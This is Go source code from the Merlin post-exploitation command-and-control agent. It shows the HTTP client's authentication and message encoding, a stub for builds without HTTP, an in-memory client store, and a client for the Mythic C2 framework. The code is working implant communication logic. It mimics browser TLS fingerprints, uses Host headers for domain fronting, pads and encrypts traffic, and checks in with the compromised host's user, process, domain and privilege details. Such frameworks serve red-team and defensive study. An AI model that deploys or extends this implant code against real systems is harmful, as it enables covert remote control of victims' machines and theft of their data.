return
}
// Get is a generic function used to retrieve the value of a Client's field
func (client *Client) Get(key string) (value string) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Get(): entering into function with key: %s", key))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Get(): leaving function with value: %s", value))
switch strings.ToLower(key) {
case "ja3":
value = client.JA3
case "paddingmax":
value = strconv.Itoa(client.PaddingMax)
case "parrot":
value = client.Parrot
case "protocol":
value = client.Protocol
default:
value = fmt.Sprintf("unknown client configuration setting: %s", key)
}
return
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(msg messages.Base) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Authenticate(): entering into function with message: %+v", msg))
client.authenticated = false
var authenticated bool
// Reset the Agent's PSK
k := sha256.Sum256([]byte(client.psk))
client.secret = k[:]
// Add Agent generated JWT from Agent's PSK
client.JWT, err = client.getJWT()
if err != nil {
return
}
// Repeat until authenticator is complete and Agent is authenticated
for {
msg, authenticated, err = client.Authenticator.Authenticate(msg)
if err != nil {
return
}
// An empty message was received indicating to exit the function
if msg.Type == 0 {
return
}
// Once authenticated, update the client's secret used to encrypt messages
if authenticated {
client.authenticated = true
p2p.NewP2PService().Refresh()
var key []byte
key, err = client.Authenticator.Secret()
if err != nil {
return
}
// Don't update the secret if the authenticator returned an empty key
if len(key) > 0 {
client.secret = key
}
}
// Send the message to the server
var msgs []messages.Base
msgs, err = client.Send(msg)
if err != nil {
return
}
// Add a response message to the next loop iteration
if len(msgs) > 0 {
msg = msgs[0]
}
// If the Agent is authenticated, exit the loop and return the function
if authenticated {
return
}
}
}
// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms
// on it to encode and encrypt it. Transforms will go from last in the slice to first in the slice
func (client *Client) Construct(msg messages.Base) (data []byte, err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Construct(): entering into function with message: %+v", msg))
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Construct(): Transformers: %+v", client.transformers))
for i := len(client.transformers); i > 0; i-- {
if i == len(client.transformers) {
// The first call should always take a Base message
data, err = client.transformers[i-1].Construct(msg, client.secret)
cli.Message(cli.DEBUG, fmt.Sprintf("%d call with transform %s - Constructed data(%d) %T: %X\n", i, client.transformers[i-1], len(data), data, data))
} else {
data, err = client.transformers[i-1].Construct(data, client.secret)
cli.Message(cli.DEBUG, fmt.Sprintf("%d call with transform %s - Constructed data(%d) %T: %X\n", i, client.transformers[i-1], len(data), data, data))
}
if err != nil {
return nil, fmt.Errorf("clients/http.Construct(): there was an error calling the transformer construct function: %s", err)
}
}
return
}
// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until
// a messages.Base structure is returned. The key is used for decryption transforms
func (client *Client) Deconstruct(data []byte) (messages.Base, error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.Deconstruct(): entering into function with message: %+v", data))
for _, transform := range client.transformers {
//fmt.Printf("Transformer %T: %+v\n", transform, transform)
ret, err := transform.Deconstruct(data, client.secret)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("clients/http.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK"))
// Try to see if the PSK works
k := sha256.Sum256([]byte(client.psk))
ret, err = transform.Deconstruct(data, k[:])
if err != nil {
return messages.Base{}, err
}
// If the PSK worked, assume the agent is unauthenticated to the server
client.authenticated = false
client.secret = k[:]
}
switch ret.(type) {
case []uint8:
data = ret.([]byte)
case string:
data = []byte(ret.(string)) // Probably not what I should be doing
case messages.Base:
//fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base))
return ret.(messages.Base), nil
default:
return messages.Base{}, fmt.Errorf("clients/http.Deconstruct(): unhandled data type for Deconstruct(): %T", ret)
}
}
return messages.Base{}, fmt.Errorf("clients/http.Deconstruct(): unable to transform data into messages.Base structure")
}
// Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate
// communication with the server.
// If the agent needs to authenticate before it can send messages, that process will occur here.
func (client *Client) Initial() (err error) {
cli.Message(cli.DEBUG, "clients/http.Initial(): entering into function")
return client.Authenticate(messages.Base{})
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
return false
}
================================================
FILE: clients/http/http_exclude.go
================================================
//go:build !http && !http1 && !http2 && !http3 && !winhttp && !mythic && (smb || tcp || udp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package http implements the Client interface and contains the structures and functions to communicate to the Merlin
// server over the HTTP protocol
package http
import (
// Standard
"fmt"
// 3rd Party
"github.com/google/uuid"
// Internal
messages "github.com/Ne0nd0g/merlin-message"
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
}
// Config is a structure used to pass in all necessary information to instantiate a new Client
type Config struct {
AgentID uuid.UUID // AgentID the Agent's UUID
Protocol string // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse)
Host string // Host is used with the HTTP Host header for Domain Fronting activities
Headers string // Headers is a new-line separated string of additional HTTP headers to add to client requests
URL []string // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx)
Proxy string // Proxy is the URL of the proxy that all traffic needs to go through, if applicable
ProxyUser string // ProxyUser is the username for the proxy, if applicable
ProxyPass string // ProxyPass is the password for the proxy, if applicable
UserAgent string // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic
Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser
PSK string // PSK is the Pre-Shared Key secret the agent will use to start authentication
JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable
Padding string // Padding is the max amount of data that will be randomly selected and appended to every message
AuthPackage string // AuthPackage is the type of authentication the agent should use when communicating with the server
Opaque []byte // Opaque is the byte representation of the EnvU object used with the OPAQUE protocol (future use)
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
InsecureTLS bool // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false
ClientType string // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.)
}
// New instantiates and returns a Client constructed from the passed in Config
func New(config Config) (*Client, error) {
return nil, fmt.Errorf("clients/http.New(): HTTP client not compiled into this program")
}
// Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/http.Listen(): the HTTP client does not support the Listen function")
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server.
// The function also decodes and decrypts response messages and returns a Merlin message structure.
// This is where the client's logic is for communicating with the server.
func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/http.New(): HTTP client not compiled into this program")
return
}
// Set is a generic function used to modify a Client's field values
func (client *Client) Set(key string, value string) (err error) {
err = fmt.Errorf("clients/http.Set(): HTTP client not compiled into this program")
return
}
// Get is a generic function used to retrieve the value of a Client's field
func (client *Client) Get(key string) (value string) {
return fmt.Sprintf("clients/http.Get(): HTTP client not compiled into this program")
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(msg messages.Base) (err error) {
err = fmt.Errorf("clients/http.Authenticate(): HTTP client not compiled into this program")
return
}
// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms
// on it to encode and encrypt it. Transforms will go from last in the slice to first in the slice
func (client *Client) Construct(msg messages.Base) (data []byte, err error) {
err = fmt.Errorf("clients/http.Construct(): HTTP client not compiled into this program")
return
}
// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until
// a messages.Base structure is returned. The key is used for decryption transforms
func (client *Client) Deconstruct(data []byte) (messages.Base, error) {
return messages.Base{}, fmt.Errorf("clients/http.Deconstruct(): HTTP client not compiled into this program")
}
// Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate
// communication with the server.
// If the agent needs to authenticate before it can send messages, that process will occur here.
func (client *Client) Initial() (err error) {
err = fmt.Errorf("clients/http.Initial(): HTTP client not compiled into this program")
return
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
return false
}
================================================
FILE: clients/memory/memory.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package memory is an in-memory repository for storing and managing Merlin clients used to communicate with the Merlin
// server or for peer-to-peer Agent communications
package memory
import (
// Standard
"sync"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/clients"
)
// Repository is the structure that implements the in-memory repository for interacting with the Agent's C2 client
type Repository struct {
sync.Mutex
client clients.Client
}
// repo is the in-memory datastore
var repo *Repository
// NewRepository creates and returns a new in-memory repository for interacting with the Agent's C2 client
func NewRepository() *Repository {
if repo == nil {
repo = &Repository{
Mutex: sync.Mutex{},
}
}
return repo
}
// Add stores the Merlin Agent C2 client to the repository
func (r *Repository) Add(client clients.Client) {
r.Lock()
defer r.Unlock()
r.client = client
}
// Get returns the current C2 Client object the Agent is using for communications
func (r *Repository) Get() clients.Client {
return r.client
}
// SetJA3 reconfigures the client's TLS fingerprint to match the provided JA3 string
func (r *Repository) SetJA3(ja3 string) error {
r.Lock()
defer r.Unlock()
return r.client.Set("ja3", ja3)
}
// SetListener changes the client's upstream listener ID, a UUID, to the value provided
func (r *Repository) SetListener(listener string) error {
r.Lock()
defer r.Unlock()
return r.client.Set("listener", listener)
}
// SetPadding changes the maximum amount of random padding added to each outgoing message
func (r *Repository) SetPadding(padding string) error {
r.Lock()
defer r.Unlock()
return r.client.Set("paddingmax", padding)
}
// SetParrot reconfigures the client's HTTP configuration to match the provided browser
func (r *Repository) SetParrot(parrot string) error {
r.Lock()
defer r.Unlock()
return r.client.Set("parrot", parrot)
}
================================================
FILE: clients/mythic/mythic.go
================================================
//go:build mythic
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package mythic
import (
// Standard
"bytes"
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"encoding/base64"
"encoding/json"
"fmt"
"io"
rand2 "math/rand"
"net"
"net/http"
"net/url"
"os"
"strconv"
"strings"
"sync"
"time"
// 3rd Party
"github.com/google/uuid"
// X-Packages
"golang.org/x/net/http2"
// Merlin Message
messages "github.com/Ne0nd0g/merlin-message"
"github.com/Ne0nd0g/merlin-message/jobs"
rsa2 "github.com/Ne0nd0g/merlin-message/rsa"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/authenticators"
rsaAuthenticaor "github.com/Ne0nd0g/merlin-agent/v2/authenticators/rsa"
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/core"
merlinHTTP "github.com/Ne0nd0g/merlin-agent/v2/http"
"github.com/Ne0nd0g/merlin-agent/v2/http/utls"
"github.com/Ne0nd0g/merlin-agent/v2/services/agent"
transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers"
b64 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex"
mythicEncoder "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/mythic"
aes2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4"
"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor"
)
// socksConnection is used to map the Mythic incremental integer used for tracking connections to a UUID leveraged by the agent
var socksConnection = sync.Map{}
// mythicSocksConnection is used to map Merlin's connection UUID to Mythic's integer server_id; Inverse of socksConnection
var mythicSocksConnection = sync.Map{}
// socksCounter is used to track and order the SOCKS data packets coming from Mythic
var socksCounter = sync.Map{}
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
Authenticator authenticators.Authenticator
authenticated bool // authenticated tracks if the Agent has successfully authenticated
AgentID uuid.UUID // TODO can this be recovered through reflection since client is embedded into agent?
MythicID uuid.UUID // The identifier used by the Mythic framework
Client merlinHTTP.Client // Client to send messages with
ClientType merlinHTTP.Type
Protocol string // The HTTP protocol the client will use
URL string // URL to send messages to (e.g., https://127.0.0.1:443/test.php)
Host string // HTTP Host header value
Proxy string // Proxy string
Headers map[string]string // Additional HTTP headers to add to the request
UserAgent string // HTTP User-Agent value
PaddingMax int // PaddingMax is the maximum size allowed for a randomly selected message padding length
JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable
Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser
psk []byte // PSK is the Pre-Shared Key secret the agent will use to start encrypted key exchange
secret []byte // Secret is the current key that is being used to encrypt & decrypt data
privKey *rsa.PrivateKey // Agent's RSA Private key to decrypt traffic
insecureTLS bool // insecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false
transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message
}
// Config is a structure used to pass in all necessary information to instantiate a new Client
type Config struct {
AgentID uuid.UUID // The Agent's UUID
AuthPackage string // AuthPackage is the type of authentication the agent should use when communicating with the server
PayloadID string // The UUID used with the Mythic framework
Protocol string // Proto contains the transportation protocol the agent is using (i.e., http2 or http3)
Headers string // Headers is a new-line separated string of additional HTTP headers to add to client requests
Host string // Host is used with the HTTP Host header for Domain Fronting activities
URL string // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx)
Proxy string // Proxy is the URL of the proxy that all traffic needs to go through, if applicable
UserAgent string // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic
PSK string // PSK is the Pre-Shared Key secret the agent will use to start authentication
JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable
Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser
Padding string // Padding is the max amount of data that will be randomly selected and appended to every message
InsecureTLS bool // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
ClientType string // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.)
}
// New instantiates and returns a Client constructed from the passed in Config
func New(config Config) (*Client, error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.New()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Config: %+v", config))
client := Client{
AgentID: config.AgentID,
URL: config.URL,
UserAgent: config.UserAgent,
Host: config.Host,
Protocol: config.Protocol,
Proxy: config.Proxy,
JA3: config.JA3,
Parrot: config.Parrot,
insecureTLS: config.InsecureTLS,
}
// Mythic: Add payload ID
var err error
client.MythicID, err = uuid.Parse(config.PayloadID)
if err != nil {
return &client, err
}
// Set PSK
if config.PSK != "" {
client.psk, err = base64.StdEncoding.DecodeString(config.PSK)
if err != nil {
return &client, fmt.Errorf("there was an error Base64 decoding the PSK:\n%s", err)
}
client.secret = client.psk
}
// Set up the Authenticator
switch strings.ToLower(config.AuthPackage) {
case "none":
return nil, fmt.Errorf("the 'none' authenticator is not supported for the Mythic client")
case "opaque":
return nil, fmt.Errorf("the 'opaque' authenticator is not supported for the Mythic client")
case "rsa":
// Generate an RSA key pair
client.privKey, err = rsa.GenerateKey(rand.Reader, 4096)
if err != nil {
return &client, fmt.Errorf("there was an error generating the RSA key pair:\n%s", err)
}
client.Authenticator = rsaAuthenticaor.New(client.AgentID, *client.privKey)
default:
return nil, fmt.Errorf("'%s' is not a valid authenticator for the Mythic client", config.AuthPackage)
}
// Transformers
transforms := strings.Split(config.Transformers, ",")
for _, transform := range transforms {
var t transformer.Transformer
switch strings.ToLower(transform) {
case "aes":
// Ensure there is a key
if config.PSK == "" || len(client.psk) <= 0 {
return nil, fmt.Errorf("AES transformer requires a PSK to be set")
}
t = aes2.NewEncrypter()
case "base64-byte":
t = b64.NewEncoder(b64.BYTE)
case "base64-string":
t = b64.NewEncoder(b64.STRING)
case "gob-base":
t = gob.NewEncoder(gob.BASE)
case "gob-string":
t = gob.NewEncoder(gob.STRING)
case "hex-byte":
t = hex.NewEncoder(hex.BYTE)
case "hex-string":
t = hex.NewEncoder(hex.STRING)
case "jwe":
t = jwe.NewEncrypter()
case "mythic":
t = mythicEncoder.NewEncoder()
case "rc4":
t = rc4.NewEncrypter()
case "xor":
t = xor.NewEncrypter()
default:
err = fmt.Errorf("clients/mythic.New(): unhandled transform type: %s", transform)
if err != nil {
return nil, err
}
}
client.transformers = append(client.transformers, t)
}
// Parse Padding Value
client.PaddingMax, err = strconv.Atoi(config.Padding)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("there was an error converting Padding string \"%s\" to an integer: %s", config.Padding, err))
}
// Parse additional HTTP Headers
if config.Headers != "" {
client.Headers = make(map[string]string)
for _, header := range strings.Split(config.Headers, "\n") {
h := strings.Split(header, ":")
if len(h) < 2 {
cli.Message(cli.DEBUG, fmt.Sprintf("unable to parse HTTP header: '%s'", header))
continue
}
// Remove leading or trailing spaces
headerKey := strings.TrimSuffix(strings.TrimPrefix(h[0], " "), " ")
headerValue := strings.TrimSuffix(strings.TrimPrefix(h[1], " "), " ")
cli.Message(
cli.DEBUG,
fmt.Sprintf("HTTP Header (%d): %s, Value (%d): %s\n",
len(headerKey),
headerKey,
len(headerValue),
headerValue,
),
)
client.Headers[headerKey] = headerValue
}
}
// Determine the HTTP client type
if client.Protocol == "http" || client.Protocol == "https" {
if config.ClientType == strings.ToLower("winhttp") {
client.ClientType = merlinHTTP.WINHTTP
} else if config.ClientType == strings.ToLower("wininet") {
client.ClientType = merlinHTTP.WININET
} else {
client.ClientType = merlinHTTP.HTTP
}
}
if client.Protocol == "h2" || client.Protocol == "h2c" {
client.ClientType = merlinHTTP.HTTP2
}
if client.Protocol == "http3" {
client.ClientType = merlinHTTP.HTTP3
}
// If JA3 or Parrot was set, override the client type forcing HTTP/1.1 using the uTLS client
if client.JA3 != "" {
client.ClientType = merlinHTTP.JA3
} else if client.Parrot != "" {
client.ClientType = merlinHTTP.PARROT
}
// Build HTTP client config
httpConfig := merlinHTTP.Config{
ClientType: client.ClientType,
Insecure: client.insecureTLS,
JA3: client.JA3,
Parrot: client.Parrot,
Protocol: client.Protocol,
ProxyURL: client.Proxy,
}
// Get the HTTP client
client.Client, err = merlinHTTP.NewHTTPClient(httpConfig)
if err != nil {
return &client, err
}
cli.Message(cli.INFO, "Client information:")
cli.Message(cli.INFO, fmt.Sprintf("\tMythic Payload ID: %s", client.MythicID))
cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", client.Protocol))
cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Client Type: %s", client.ClientType))
cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.Authenticator))
cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers))
cli.Message(cli.INFO, fmt.Sprintf("\tURL: %s", client.URL))
cli.Message(cli.INFO, fmt.Sprintf("\tUser-Agent: %s", client.UserAgent))
cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Host Header: %s", client.Host))
cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Headers: %s", client.Headers))
cli.Message(cli.INFO, fmt.Sprintf("\tProxy: %s", client.Proxy))
cli.Message(cli.INFO, fmt.Sprintf("\tPayload Padding Max: %d", client.PaddingMax))
cli.Message(cli.INFO, fmt.Sprintf("\tJA3 String: %s", client.JA3))
cli.Message(cli.INFO, fmt.Sprintf("\tParrot String: %s", client.Parrot))
cli.Message(cli.INFO, fmt.Sprintf("\tInsecure TLS: %t", client.insecureTLS))
return &client, nil
}
// Authenticate executes the configured authentication method sending the necessary messages to the server to
// complete authentication.
// This function takes in a Base message for when the server returns information to continue
// the process or needs to re-authenticate.
func (client *Client) Authenticate(msg messages.Base) (err error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.Authenticate()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Input Merlin message base:\n%+v", msg))
client.authenticated = false
var authenticated bool
// Repeat until authenticator is complete and Agent is authenticated
for {
msg, authenticated, err = client.Authenticator.Authenticate(msg)
if err != nil {
return
}
// An empty message was received indicating to exit the function
if msg.Type == 0 {
return
}
// Once authenticated, update the client's secret used to encrypt messages
if authenticated {
client.authenticated = true
var key []byte
key, err = client.Authenticator.Secret()
if err != nil {
return
}
// Don't update the secret if the authenticator returned an empty key
if len(key) > 0 {
client.secret = key
}
// Mythic returns a new UUID after authentication has been completed
client.MythicID = msg.ID
cli.Message(cli.SUCCESS, fmt.Sprintf("%s authentication completed", client.Authenticator))
return
}
// Send the message to the server
var msgs []messages.Base
msgs, err = client.Send(msg)
if err != nil {
return
}
// Add a response message to the next loop iteration
if len(msgs) > 0 {
msg = msgs[0]
}
// If the Agent is authenticated, exit the loop and continue
if authenticated {
return
}
}
}
// Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/mythic.Listen(): the Mythic HTTP client does not support the Listen function")
return
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
return false
}
// Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server
// The function also decodes and decrypts response messages and return a Merlin message structure.
// This is where the client's logic is for communicating with the server.
func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.Send()...")
cli.Message(cli.DEBUG, fmt.Sprintf("input message base:\n%+v", m))
// Set the message padding
if client.PaddingMax > 0 {
m.Padding = core.RandStringBytesMaskImprSrc(rand2.Intn(client.PaddingMax))
}
cli.Message(cli.DEBUG, fmt.Sprintf("Added message padding size: %d", len(m.Padding)))
payload, err := client.Construct(m)
if err != nil {
err = fmt.Errorf("there was an error converting the Merlin message to a Mythic message:\n%s", err)
return
}
// File Transfer messages are recursively processed and completed through the prior call to convertToMythicMessage()
// Therefore, we can return here
// If there was more than one job in the message, the returned "payload" will not be empty
if m.Type == messages.JOBS && len(payload) == 0 {
j := m.Payload.([]jobs.Job)
for _, v := range j {
if v.Type == jobs.FILETRANSFER {
f := j[0].Payload.(jobs.FileTransfer)
// When true, the AGENT is downloading the file to the Server; the operator issued the "download" command
if f.IsDownload {
returnMessages = append(returnMessages, messages.Base{ID: client.AgentID, Type: messages.IDLE})
return
}
}
}
}
// Build the request
req, err := http.NewRequest("POST", client.URL, bytes.NewReader(payload))
if err != nil {
err = fmt.Errorf("there was an error building the HTTP request:\n%s", err)
return
}
// Add HTTP headers
if req != nil {
req.Header.Set("User-Agent", client.UserAgent)
if client.Host != "" {
req.Host = client.Host
}
}
for header, value := range client.Headers {
req.Header.Set(header, value)
}
// Send the request
cli.Message(cli.DEBUG, fmt.Sprintf("Sending POST request size: %d to: %s", req.ContentLength, client.URL))
cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request:\n%+v", req))
cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request Payload:\n%+v", req.Body))
resp, err := client.Client.Do(req)
if err != nil {
err = fmt.Errorf("there was an error sending a message to the server:\n%s", err)
return
}
cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Response:\n%+v", resp))
// Process the response
// Check the status code
switch resp.StatusCode {
case 200:
default:
err = fmt.Errorf("there was an error communicating with the server:\n%d", resp.StatusCode)
return
}
// Check to make sure message response contained data
if resp.ContentLength == 0 {
err = fmt.Errorf("the response message did not contain any data")
return
}
// Read the response body
respData, err := io.ReadAll(resp.Body)
if err != nil {
err = fmt.Errorf("there was an error reading the HTTP payload response message:\n%s", err)
return
}
return client.Deconstruct(respData)
}
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial() (err error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.Initial()...")
as := agent.NewAgentService()
a := as.Get()
// Mythic requires a specific agent Checkin message format after authentication
// Build an initial checkin message
checkIn := CheckIn{
Action: "checkin",
IP: selectIP(a.Host().IPs),
OS: a.Host().Platform,
User: a.Process().UserName,
Host: a.Host().Name,
Process: a.Process().Name,
PID: a.Process().ID,
PayloadID: client.MythicID.String(), // Need to set now because it will be changed to tempUUID from RSA key exchange
Arch: a.Host().Architecture,
Domain: a.Process().Domain,
Integrity: a.Process().Integrity,
}
// Authenticate the Agent
err = client.Authenticate(messages.Base{})
if err != nil {
return
}
// Send checkin message
base := messages.Base{
ID: client.AgentID,
Type: messages.CHECKIN,
Payload: checkIn,
}
_, err = client.Send(base)
return
}
// Set is a generic function used to modify a Client's field values
func (client *Client) Set(key string, value string) error {
cli.Message(cli.DEBUG, "Entering into clients.mythic.Set()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Key: %s, Value: %s", key, value))
var err error
switch strings.ToLower(key) {
case "ja3":
ja3String := strings.Trim(value, "\"'")
client.Client, err = getClient(client.Protocol, client.Proxy, ja3String, client.Parrot, client.insecureTLS)
if ja3String != "" {
cli.Message(cli.NOTE, fmt.Sprintf("Set agent JA3 signature to:%s", ja3String))
} else if ja3String == "" {
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol))
}
client.JA3 = ja3String
case "paddingmax":
client.PaddingMax, err = strconv.Atoi(value)
case "parrot":
parrot := strings.Trim(value, "\"'")
client.Client, err = getClient(client.Protocol, client.Proxy, client.JA3, parrot, client.insecureTLS)
if parrot != "" {
cli.Message(cli.NOTE, fmt.Sprintf("Set agent HTTP transport parrot to:%s", parrot))
} else if parrot == "" {
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol))
}
client.Parrot = parrot
default:
err = fmt.Errorf("unknown mythic client setting: %s", key)
}
return err
}
// Get is a generic function that is used to retrieve the value of a Client's field
func (client *Client) Get(key string) string {
cli.Message(cli.DEBUG, "Entering into clients.mythic.Get()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Key: %s", key))
switch strings.ToLower(key) {
case "ja3":
return client.JA3
case "paddingmax":
return strconv.Itoa(client.PaddingMax)
case "parrot":
return client.Parrot
case "protocol":
return client.Protocol
default:
return fmt.Sprintf("unknown mythic client configuration setting: %s", key)
}
}
// getClient returns an HTTP client for the passed protocol, proxy, and ja3 string
func getClient(protocol string, proxyURL string, ja3 string, parrot string, insecure bool) (*http.Client, error) {
cli.Message(cli.DEBUG, "Entering into clients.mythic.getClient()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, JA3 String: %s, Parrot: %s", protocol, proxyURL, ja3, parrot))
/* #nosec G402 */
// G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing
// Setup TLS configuration
TLSConfig := &tls.Config{
MinVersion: tls.VersionTLS12,
InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59
CipherSuites: []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
},
}
// Proxy
proxyFunc, errProxy := getProxy(protocol, proxyURL)
if errProxy != nil {
return nil, errProxy
}
// JA3
if ja3 != "" {
transport, err := utls.NewTransportFromJA3(ja3, insecure, proxyFunc)
if err != nil {
return nil, err
}
return &http.Client{Transport: transport}, nil
}
// Parrot - If a JA3 string was set, it will be used, and the parroting will be ignored
if parrot != "" {
// Build the transport
transport, err := utls.NewTransportFromParrot(parrot, insecure, proxyFunc)
if err != nil {
return nil, err
}
return &http.Client{Transport: transport}, nil
}
var transport http.RoundTripper
switch strings.ToLower(protocol) {
case "h2":
TLSConfig.NextProtos = []string{"h2"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
transport = &http2.Transport{
TLSClientConfig: TLSConfig,
}
case "h2c":
transport = &http2.Transport{
AllowHTTP: true,
DialTLS: func(network, addr string, cfg *tls.Config) (net.Conn, error) {
return net.Dial(network, addr)
},
}
case "https":
TLSConfig.NextProtos = []string{"http/1.1"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids
